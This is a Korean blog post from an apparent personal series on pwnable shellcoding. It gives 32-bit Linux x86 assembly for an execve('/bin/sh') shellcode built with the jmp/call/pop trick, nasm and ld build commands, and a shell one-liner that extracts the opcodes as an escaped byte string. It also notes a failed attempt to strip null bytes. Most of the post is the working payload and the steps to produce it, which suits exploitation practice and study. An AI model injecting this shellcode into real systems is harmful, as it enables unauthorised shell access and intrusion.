section .text global _start _start: jmp bin_sh bin_sh: call main db "/bin/sh",0 main: pop ebx xor eax, eax push eax mov edx, esp mov ecx, esp mov al, 0xb int 0x80
bin_sh 부분에서 call main을 하면 리턴 어드레스 (다음 주소)가 스택에 들어가므로
스택에는 자연스럽게 /bin/sh의 주소가 들어가있다 (신박ㅋ)
이 상태에서 pop ebx하면 ebx에는 바로 /bin/sh의 주소가 잡힌다.
컴파일은
nasm -f elf shell.s
ld -m elf_i386 -o shell shell.o
opcode 뽑기는
for i in $(objdump -d shell | grep "^ " | cut -f 2);do echo -n \\x$i; done; echo -e "\n";
-----------
null바이트 없애려고 /bin/sh뒤에 붙는 0을 어떻게든 없애보려고 했는데 다 실패...
그나마 성공한건 .data영역에 /bin/sh를 박으면 뒤가 다 null이므로 괜찮은데,
문제는 이렇게 만든 쉘코는 universal하지 않다. 대충 디버깅 해보니 오프셋이 안 맞아서 그런듯
'pwnable > Shellcoding' 카테고리의 다른 글
쉘코딩 (shellcoding) - (3) (0) | 2022.06.08 |
---|---|
쉘코딩 (shellcoding) - (2) (0) | 2022.03.25 |
쉘코딩 (shellcoding) - (1) (0) | 2022.03.25 |
쉘코드 만들기 (직접) (0) | 2018.12.23 |